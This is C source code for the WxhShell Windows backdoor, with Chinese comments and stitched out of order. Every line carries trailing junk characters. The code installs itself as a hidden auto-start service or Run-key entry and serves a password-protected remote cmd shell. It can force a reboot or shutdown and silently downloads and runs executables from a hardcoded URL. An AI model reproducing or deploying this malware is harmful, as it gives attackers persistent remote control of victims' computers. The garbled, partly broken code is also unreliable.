    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }|A%2!Q}  
    if(Boot(SHUTDOWN)) zeR!Y yt!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X0 %k`3  
    else { seq S*^7  
    closesocket(wsh); .;$/nz6vk  
    ExitThread(0); e'7!aysj  
    } ~0worI?  
    break; SJ+.i u/  
    } Vl'|l)b4W  
  // 获取shell bh_i*DJ]  
  case 's': { w"A'uFXLc  
    CmdShell(wsh); "3}Bv X  
    closesocket(wsh); xJZbax[  
    ExitThread(0); YFsEuaV  
    break; t;E-9`N  
  } P_i2yhpK  
  // 退出 Yo:>m*31  
  case 'x': { 7G2TTa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $7PFos%@  
    CloseIt(wsh); <PJwBA%{  
    break; G~YV6??  
    } |QxDjL<&t4  
  // 离开 ,D~C40f  
  case 'q': { )/f,.Z$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S{J$[!F  
    closesocket(wsh); @\[&_DZ  
    WSACleanup(); &.Yh_  
    exit(1); Ks!.$y:x  
    break; spn1Ji  
        } uKtrG,/ p  
  } .qF@ }dO  
  } U2+CL)al^  
GD.mB[f*  
  // 提示信息 {w{|y[[d~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J;'?(xO3\  
} k,b(MAiQ0  
  } UGr7,+N&w  
3P'.)=}  
  return; lty`7(\  
} E jBEZL|_  
a<c %Xy/  
// shell模块句柄 b^^Cj(  
int CmdShell(SOCKET sock) 6}{2W<  
{ +B c/@.Q'  
STARTUPINFO si; RH>b,  
ZeroMemory(&si,sizeof(si)); <@5#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b)'Ew27  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n5oB#>tI0  
PROCESS_INFORMATION ProcessInfo; 4d9i AN  
char cmdline[]="cmd"; 0XL x@FYn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I=Ws /+  
  return 0; luLm:NWUM  
} Cl4y9|  
QQ1+uY  
// 自身启动模式 <k}>eGn  
int StartFromService(void) T" 8>6a@}E  
{ 4$d|}ajH  
typedef struct kB"Sh_:m  
{ %+FM$xyJ  
  DWORD ExitStatus; $fuFx8`2W  
  DWORD PebBaseAddress; ;z)$wH0xc  
  DWORD AffinityMask; #C4  
  DWORD BasePriority; Yy>%dL  
  ULONG UniqueProcessId; ^/mQo`[G  
  ULONG InheritedFromUniqueProcessId; ANn {*h  
}   PROCESS_BASIC_INFORMATION; C6CX{IA]  
BxO2w1G  
PROCNTQSIP NtQueryInformationProcess; 4D9l Za}  
;^O^&<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {Am\%v\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fx%'7/+  
c*MjBAq  
  HANDLE             hProcess; !);}zW!  
  PROCESS_BASIC_INFORMATION pbi; :a#]"z0  
VH+^G)^)W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6SlE>b9tA  
  if(NULL == hInst ) return 0; :14O=C  
aSXoYG0\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -(Taj[;[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xgsD<3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tN";o\!}  
k$k (g  
  if (!NtQueryInformationProcess) return 0; H&3VPag  
~ E>D0o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c@5fiRPv!  
  if(!hProcess) return 0; J Y %B:  
dGP*bMCT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +lO Y IQ  
&Mo=V4i>  
  CloseHandle(hProcess); H:d{Sru  
 @*%Q,$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /PQg>Pa85  
if(hProcess==NULL) return 0; A$Es(<'9g  
V{ra,a*  
HMODULE hMod; L>xcgV7  
char procName[255]; Uu>YE0/)  
unsigned long cbNeeded; S;i^ucAF  
%w/o#*j<;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `lN1u'(:  
6(D K\58  
  CloseHandle(hProcess); xm/v :hl=  
@<W"$_ r-  
if(strstr(procName,"services")) return 1; // 以服务启动 tvf"w`H  
A{y3yH`#h  
  return 0; // 注册表启动 +CX2W('  
} QRgWzaI  
p Ic ;9  
// 主模块 XRJ<1w:  
int StartWxhshell(LPSTR lpCmdLine) `^wF]R  
{ ;# {XNq<1  
  SOCKET wsl; TLPy/,  
BOOL val=TRUE; Vu^J'>X  
  int port=0; g] X4)e]  
  struct sockaddr_in door; K ,f1c}  
AG/nX?u7)t  
  if(wscfg.ws_autoins) Install(); *)L%pH>`  
8kH'ai  
port=atoi(lpCmdLine); 84e)huAs  
aNv6 "  
if(port<=0) port=wscfg.ws_port; 1S  0GjR  
ZKAIG=l&!  
  WSADATA data; F! c%&Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (^eE8j/K  
0Q]x[;!k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pFGdm3pV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  J@(*(oQb  
  door.sin_family = AF_INET; pOlQOdl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E88_15'3D  
  door.sin_port = htons(port); 75Jh(hd(  
XHlPjw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]*sXISg1  
closesocket(wsl); 4LUFG  
return 1; 0-l @U{  
} JAmv7GL'6  
A~h.,<+"  
  if(listen(wsl,2) == INVALID_SOCKET) { 5W 5\  *L  
closesocket(wsl); hh <=D.u  
return 1; 'n)M0e  
} [AE]0cO@  
  Wxhshell(wsl); S>*i^If  
  WSACleanup(); 'ZT E"KT  
<y-KW WE  
return 0; -Ww'wH'2  
)h2wwq0]  
} S7E:&E&  
y5|`B(  
// 以NT服务方式启动 HQQc<7c ",  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NnrX64|0  
{ 19 bP0y  
DWORD   status = 0; A5y?|q>5  
  DWORD   specificError = 0xfffffff; 2[qO;js  
w<-CKM3qe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,K3)f.ArYc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Mm^o3vl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;w}ZI<ou  
  serviceStatus.dwWin32ExitCode     = 0; J@p[v3W  
  serviceStatus.dwServiceSpecificExitCode = 0; xh_6@}D2J  
  serviceStatus.dwCheckPoint       = 0; ]{.rx),  
  serviceStatus.dwWaitHint       = 0; o-GlBXI;  
x_2 [+Ol  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3xp%o5K  
  if (hServiceStatusHandle==0) return; D0lgKQ  
:&&Ps4\Sq  
status = GetLastError(); FTtYzKX(bv  
  if (status!=NO_ERROR) 6@ ToPbj4  
{ PG&@.KY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eaYQyMv@  
    serviceStatus.dwCheckPoint       = 0; X<#Q~"  
    serviceStatus.dwWaitHint       = 0; \_De( p  
    serviceStatus.dwWin32ExitCode     = status; 5?kF'yksR  
    serviceStatus.dwServiceSpecificExitCode = specificError; W*}q;ub;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !@W1d|{lu  
    return; %fJ*Ql4M  
  } k .KN9=o  
mI@E>VCV[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; aqoT  
  serviceStatus.dwCheckPoint       = 0; ]Tx8ImD#)A  
  serviceStatus.dwWaitHint       = 0; CP]BSyim'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -KCm#!  
} q,PB; TT  
/V$ [M  
// 处理NT服务事件,比如:启动、停止 5m=3{lBi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f+Put  
{ s'tmak-}|  
switch(fdwControl) }f;Zx)!  
{ #J\ 2/~  
case SERVICE_CONTROL_STOP: [ 3]!*Cd  
  serviceStatus.dwWin32ExitCode = 0; >]&LbUW+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O<)"k j 7  
  serviceStatus.dwCheckPoint   = 0; K0g<11}(Yg  
  serviceStatus.dwWaitHint     = 0; OzA"i y  
  { :@`Ll;G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iRPt0?$  
  } =xS(Er`r  
  return; 13'tsM&  
case SERVICE_CONTROL_PAUSE: U*(m'Ea  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f)({;,q  
  break; "F7g8vu  
case SERVICE_CONTROL_CONTINUE: y4/>3tz;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; : N>5{  
  break; R1! {,*Gy  
case SERVICE_CONTROL_INTERROGATE: wbU pD(  
  break; Om\?<aul  
}; zEl@jK,{$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W&A22jO.1  
} w5b D  
Vv B%,_\  
// 标准应用程序主函数 5$`i)}:s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WID4{>G2  
{ S =U*is  
%A,4vLe~6  
// 获取操作系统版本 l-Xxur5M'  
OsIsNt=GetOsVer(); 0vqXLFf   
GetModuleFileName(NULL,ExeFile,MAX_PATH); isLIfE>  
-|~6Zf"  
  // 从命令行安装 xm6=l".%z  
  if(strpbrk(lpCmdLine,"iI")) Install(); xx)egy_  
Eyxw.,rB/  
  // 下载执行文件 +Tf,2?O  
if(wscfg.ws_downexe) { ac6L3=u\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j,K]T J  
  WinExec(wscfg.ws_filenam,SW_HIDE); (%rO'X  
} )V*Z|,#no  
? DWF7{1  
if(!OsIsNt) { <T>C}DGw  
// 如果时win9x,隐藏进程并且设置为注册表启动 bJ*jJl x  
HideProc(); 9KN75<n  
StartWxhshell(lpCmdLine); uLD%M av  
} +H,/W_/g  
else G'^Qi}o  
  if(StartFromService()) _n,Ye&m  
  // 以服务方式启动 p~Fc *g[!  
  StartServiceCtrlDispatcher(DispatchTable); ^G.PdX$M  
else t4R=$ km  
  // 普通方式启动 *,.WI )@  
  StartWxhshell(lpCmdLine); {9q~bt  
R3`!Xj#&M  
return 0; FaYDa  
} dE=4tqv-r  
IGeXj%e  
-& I)3  
})#6 BN  
=========================================== h[b;_>7  
:@a8>i1&  
p}$VBl$'  
qn}4PVn4  
WI/&r5rq   
1K.i>]}>  
" FGo{6'K(:  
h W\q  
#include <stdio.h> uO8z.  
#include <string.h> O>9+ tQ  
#include <windows.h> RoCX*3d  
#include <winsock2.h> 49q\/  
#include <winsvc.h> &i179Qg!  
#include <urlmon.h> ys`"-o[*  
=:OS"qD3l  
#pragma comment (lib, "Ws2_32.lib") x8 YuX*/I  
#pragma comment (lib, "urlmon.lib") D|lp3\`%  
Q^}6GS$  
#define MAX_USER   100 // 最大客户端连接数 mcvd/  
#define BUF_SOCK   200 // sock buffer *Y8nea^$  
#define KEY_BUFF   255 // 输入 buffer c `C /U7j  
?*lpu  
#define REBOOT     0   // 重启 zXWf($^&E  
#define SHUTDOWN   1   // 关机 <pJeiMo  
w64/$  
#define DEF_PORT   5000 // 监听端口 `IL''eJug_  
f'._{"  
#define REG_LEN     16   // 注册表键长度 xV@/z5Tq  
#define SVC_LEN     80   // NT服务名长度 EF1aw2  
r/E'#5 Q  
// 从dll定义API Ni "n_Yun  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1 XsB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _ T ;+*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yU'Fyul  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gbF^m`A>%+  
pV`?=[h9  
// wxhshell配置信息 sswYwU  
struct WSCFG { )r X["=  
  int ws_port;         // 监听端口 >HMuh)  
  char ws_passstr[REG_LEN]; // 口令 h2M>4c  
  int ws_autoins;       // 安装标记, 1=yes 0=no -:Up$6PR  
  char ws_regname[REG_LEN]; // 注册表键名 V}de|=  
  char ws_svcname[REG_LEN]; // 服务名 p1^k4G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .[YM0dt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <*I%U]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }?^V9K-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  n *Y+y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L<8:1/d\  
N pu#.)G  
}; v 809/c*  
J~dk4D\  
// default Wxhshell configuration cO}`PD$i  
struct WSCFG wscfg={DEF_PORT, aH@GhI^@  
    "xuhuanlingzhe", :v-&}?  
    1, ibe#Y  
    "Wxhshell", ks{y=@ <,  
    "Wxhshell", E"8cB]`|8  
            "WxhShell Service", `+Ko{rf+9  
    "Wrsky Windows CmdShell Service", LRe2wT>I  
    "Please Input Your Password: ", e6O+hC]:  
  1, {{'GR"D  
  "http://www.wrsky.com/wxhshell.exe", ~cHpA;x9<^  
  "Wxhshell.exe" $A>\I3B  
    }; c -1Hxd YD  
,LD[R1TU8  
// 消息定义模块 8cN[t.S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j A/xe  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fC1PPgQ\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 53vnON#{*  
char *msg_ws_ext="\n\rExit."; iv3=J   
char *msg_ws_end="\n\rQuit."; R 1CoS6  
char *msg_ws_boot="\n\rReboot..."; xV]eEOiLM  
char *msg_ws_poff="\n\rShutdown..."; cu)ssT  
char *msg_ws_down="\n\rSave to "; $?voQ&  
@(k}q3b<  
char *msg_ws_err="\n\rErr!"; 0Fd<@w Q0  
char *msg_ws_ok="\n\rOK!"; <m") 2dJ  
>j&+mii  
char ExeFile[MAX_PATH]; gmFCjs  
int nUser = 0; 6.uyY@Yx  
HANDLE handles[MAX_USER]; W Z!?O0.A  
int OsIsNt; B;k3YOg  
uL.)+E  
SERVICE_STATUS       serviceStatus; >a6{y   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e7T}*Up  
}(*eRF'  
// 函数声明 rGNYu\\  
int Install(void); O/Q7{5n  
int Uninstall(void); I-L52%E]  
int DownloadFile(char *sURL, SOCKET wsh); huPAWlxT  
int Boot(int flag); ?vnO@Bb/a  
void HideProc(void); H8$l }pOz  
int GetOsVer(void); )sONfn  
int Wxhshell(SOCKET wsl); {>x6SVF  
void TalkWithClient(void *cs); %9^^X6yLM  
int CmdShell(SOCKET sock); q:}Q5gzZ  
int StartFromService(void); z' oK 0"  
int StartWxhshell(LPSTR lpCmdLine); pJnT \~o  
XBvJc'(s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z}b25)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O_gr{L}  
t>~a/K"  
// 数据结构和表定义 /b|V=j}W  
SERVICE_TABLE_ENTRY DispatchTable[] = N9 SC\  
{ Wqy\yS [  
{wscfg.ws_svcname, NTServiceMain}, <`PW4zSI  
{NULL, NULL} #![9QUvcf  
}; jV}tjwq  
>EacXPt-O  
// 自我安装 4lVvs(W?  
int Install(void) \/wbk`2  
{ 2aDjt{7P  
  char svExeFile[MAX_PATH]; }|KNw*h $  
  HKEY key; aa-{,X"MF  
  strcpy(svExeFile,ExeFile); 5{PT  
4 ~s{zob  
// 如果是win9x系统,修改注册表设为自启动 3dl#:Si  
if(!OsIsNt) { >'/KOK"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B'AU~#d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =x &"aF1  
  RegCloseKey(key); 2#i*'.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y;GwMi $KI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E"/r*C+T  
  RegCloseKey(key); '5f6 M^}|2  
  return 0; qV7F=1k]  
    } w3<%wN>tE  
  } ;Xr|['\'  
} #M)S Ae2  
else { Ic<J]+Xq  
~;QzV?%  
// 如果是NT以上系统,安装为系统服务 ='[J.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?=},%^  
if (schSCManager!=0) J#/L}h;qH  
{ ~43T$^<w;  
  SC_HANDLE schService = CreateService `mt x+C  
  ( +YX *.dW  
  schSCManager, j,Vir"-)  
  wscfg.ws_svcname, &{R]v/{p]  
  wscfg.ws_svcdisp, x%`.L6rj  
  SERVICE_ALL_ACCESS, QnZ7e#@UP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e,X {.NS  
  SERVICE_AUTO_START, \* /R6svz  
  SERVICE_ERROR_NORMAL, =qNZ7>Qw  
  svExeFile, -#y^$$i0  
  NULL, gm1 7VrC  
  NULL, ExW3LM9(  
  NULL, NDo>"in  
  NULL, `,7;2ZG~O  
  NULL hgU#2`fS  
  ); u,88V@^  
  if (schService!=0) g.:b\JE`  
  { >39\u &)  
  CloseServiceHandle(schService); O={ ?c1i:  
  CloseServiceHandle(schSCManager); v-MrurQ4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nuucYm%IF-  
  strcat(svExeFile,wscfg.ws_svcname);  TNj WZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 713)D4y}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *S?vw'n  
  RegCloseKey(key); 1=^edQ+   
  return 0; RLE6=#4  
    } TPi=!*$&  
  } fEYo<@5c]  
  CloseServiceHandle(schSCManager); An2Wj  
} VM"z6@  
} [7+dZL[  
:OC(93d)0  
return 1; AZ'"Ua  
} g-O}e4  
SJd,l,Gg)  
// 自我卸载 :h!&.FB  
int Uninstall(void) eN Y?  
{ 0'nY  
  HKEY key; G8hq;W4@]/  
kfQi}D'a  
if(!OsIsNt) { %.mHV7c)%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1^R:[L4R`  
  RegDeleteValue(key,wscfg.ws_regname); V.H<KyaJ  
  RegCloseKey(key); Ar iW&E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hp1n*0%dZ&  
  RegDeleteValue(key,wscfg.ws_regname); w}:&+B:  
  RegCloseKey(key); @`S8d%6P  
  return 0; l99{eD  
  } \4FKZ>1+R  
} k,M %"FLQ  
} QmRE<i  
else { ry[NR$L/m  
-'F? |  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~L3]Wa.  
if (schSCManager!=0) Vt;!FZ  
{ k2t#O%_f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [;*Vm0>t  
  if (schService!=0) rZSX fgfr  
  { 9! 6\8  
  if(DeleteService(schService)!=0) { .V'=z|   
  CloseServiceHandle(schService); jn/ J-X=  
  CloseServiceHandle(schSCManager); Ljq!\D  
  return 0; S-D=-{@  
  } W%.ou\GN^t  
  CloseServiceHandle(schService); szG0?e  
  } o*}--d? S  
  CloseServiceHandle(schSCManager); 'V-_3WWxU  
} S`v+rQjW  
} -0R;C`(!  
/`"&n1  
return 1; cV+ x.)a.  
} Xj+oV  
o7B }~;L  
// 从指定url下载文件 V {H/>>k7  
int DownloadFile(char *sURL, SOCKET wsh) BMlu>,  
{ wn-{V kpm  
  HRESULT hr; 7x ?2((   
char seps[]= "/"; klqN9d9k  
char *token; `x'vF#  
char *file; sKU?"|G81G  
char myURL[MAX_PATH]; <>9zXbI  
char myFILE[MAX_PATH]; tUR9ti  
+CF"Bm8@  
strcpy(myURL,sURL); #vnJJ#uI|>  
  token=strtok(myURL,seps); ?5yj</W  
  while(token!=NULL) jh|4Y(  
  { _#mo6')j  
    file=token; v!b 8_0~u6  
  token=strtok(NULL,seps); S7 _^E  
  } 5PXo1"n8T  
3jG #<4;J  
GetCurrentDirectory(MAX_PATH,myFILE); mhXSbo9w-  
strcat(myFILE, "\\"); }[%d=NY  
strcat(myFILE, file); :>t^B+  
  send(wsh,myFILE,strlen(myFILE),0); |>2IgTh1a  
send(wsh,"...",3,0); ZKT~\l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O*d4zBT  
  if(hr==S_OK) 9*lkx#  
return 0; 3>I   
else /V% ]lmxQ  
return 1; &D[pX|!  
J"TM[4^\Y  
} (3;dtp>Xx  
DIU9Le  
// 系统电源模块 .;'3Roi  
int Boot(int flag) `Rc7*2I)l  
{ EC6Q<&]Iw  
  HANDLE hToken; \f AL:mJ  
  TOKEN_PRIVILEGES tkp; U =G^w L  
G\U'_G>  
  if(OsIsNt) { RXj6L~vs5_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tKik)ei  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H%*< t}  
    tkp.PrivilegeCount = 1; S24wv2Uw i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $j\UD8Hj'-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }uTe(Rf  
if(flag==REBOOT) { g+-=/Ge  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -a}d @&  
  return 0; N2~q\BqA  
} us^2Oplq<  
else { N{(Q,+ ~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8?S)>-mwv  
  return 0; y@L-qO+{&  
} nv9kl Q@  
  } =eXJZPR  
  else { "1U:qr2-H  
if(flag==REBOOT) { r9a?Y!(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :.+?v*%;n  
  return 0; XU}|Ud562  
} INyakAmJ}-  
else { B`/c Kfg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?d -$lI  
  return 0; #\[((y:q  
} :PrQ]ss@C5  
} J:YFy-[w(  
nj7wc9z4  
return 1; `W8A *  
} zlh}8Es  
DJtKLG0  
// win9x进程隐藏模块 bIP'(B#1K  
void HideProc(void) 2#n4t2 p  
{ r2EIhaGF;  
u= |hRTD=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 31n5n  
  if ( hKernel != NULL ) =Of!1TR(  
  { qq&G~y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S >PTD@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;)^eDJ<  
    FreeLibrary(hKernel); XeaO,P  
  } ccWz,[  
T5eXcI0t  
return; HS|X//]  
} s^nwF>  
*{]9e\DF  
// 获取操作系统版本 y7 I')}SC  
int GetOsVer(void) u3 mTsq!  
{ "RG.27  
  OSVERSIONINFO winfo; a*}ZT,V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W9{>.E?  
  GetVersionEx(&winfo); Y 9eGDpW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mCtuR*z_  
  return 1; ]_S&8F}|  
  else 5@$b@jTd  
  return 0; )fz)Rrr  
} V  `KXfY  
Nb[z+V{=  
// 客户端句柄模块 Z2Bl$ \  
int Wxhshell(SOCKET wsl) %Dg]n 4f  
{ dkuB{C,  
  SOCKET wsh; 54kd>)|"ag  
  struct sockaddr_in client; V4GcW|P4y  
  DWORD myID; T!uK _  
Aw )='&;^z  
  while(nUser<MAX_USER) ]3_oT^$:  
{ S~+}_$  
  int nSize=sizeof(client); @0q%&v0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &L,zh{Mp  
  if(wsh==INVALID_SOCKET) return 1; J9^RP~>bs  
,z1X{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n&=3Knbd@d  
if(handles[nUser]==0) odPq<'V|AY  
  closesocket(wsh); mnM#NT5]  
else C,R_` %b%  
  nUser++; !GcH )  
  } e,qc7BJzK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KaC+x-%K  
zE +)oQ,  
  return 0; RsS?ibozl  
} 0+b1R}!2  
9g#L"T=  
// 关闭 socket d-g&TSGd  
void CloseIt(SOCKET wsh) zq g4@" p  
{ 2{zFO3i<3  
closesocket(wsh); N5 SK_+  
nUser--; Mg]q^T.a  
ExitThread(0); n%I%O7  
} )/h~csy:~  
[k(oQykq  
// 客户端请求句柄 _NAKVzo-  
void TalkWithClient(void *cs) \+mc   
{ Vd[[<  
+2=N#LM  
  SOCKET wsh=(SOCKET)cs; }3cOZd_,t  
  char pwd[SVC_LEN]; oJy]n9  
  char cmd[KEY_BUFF];  :\1:n  
char chr[1]; >h/J{T(P>h  
int i,j; c6 cGl]FL  
s`ly#+!.  
  while (nUser < MAX_USER) { A,rgN;5fb  
w+bQpIP M  
if(wscfg.ws_passstr) { }!b9L]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a?CV;9   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A {lzQO  
  //ZeroMemory(pwd,KEY_BUFF); G<,@|6"w  
      i=0; Tm@d;O'E1  
  while(i<SVC_LEN) { ~M%r.WFpA  
S`TP#uzKu]  
  // 设置超时 FLJdnL  
  fd_set FdRead; .4A4\-Cqe  
  struct timeval TimeOut; SlI0p&2,  
  FD_ZERO(&FdRead); WK]SHiHD  
  FD_SET(wsh,&FdRead); 8'?V5.6?|~  
  TimeOut.tv_sec=8; GQoaBO.  
  TimeOut.tv_usec=0; :BG/]7>|V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3}}~(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2>0[^ .;"  
)Ac+5bs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 703=.xj  
  pwd=chr[0]; 7%L%dyN  
  if(chr[0]==0xd || chr[0]==0xa) { b5_(Fv  
  pwd=0; "40Jxqt  
  break; #>dfP"}&,  
  } {4Cn/}7Ly^  
  i++; )e|Cd} 2  
    } *; . l/  
o Hdss;q  
  // 如果是非法用户,关闭 socket mw";l$Aq}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A"FlH:Pn  
} 7$'%*|C.  
"knSc0 ,u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kxp$Nnk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \](IBI:  
aN{C86wx  
while(1) { F@4XORO;  
t=J\zyX!  
  ZeroMemory(cmd,KEY_BUFF); u}hQF $a"  
^%wj6  
      // 自动支持客户端 telnet标准   y^_ 'g2H  
  j=0; I^ sWf3'db  
  while(j<KEY_BUFF) { 1C(6.7l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  `W< 7.  
  cmd[j]=chr[0]; |^Nz/PN  
  if(chr[0]==0xa || chr[0]==0xd) { t QkEJ pj  
  cmd[j]=0; QPjmIO  
  break; %Uybp  
  } #k5WTcE  
  j++; xiuAW  
    } HB yk 1  
w-\U;&8  
  // 下载文件 qW[p .jN  
  if(strstr(cmd,"http://")) { cy8+@77  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6z@OGExmd#  
  if(DownloadFile(cmd,wsh)) &n+3^JNl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  uZ][#[u  
  else `'9Kj9}   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !U.Xb6  
  } ?n)r1m  
  else { 4} uX[~e&  
8$a4[s  
    switch(cmd[0]) { gv$6\1  
  l4u@0;6P  
  // 帮助 |g]TWKc*  
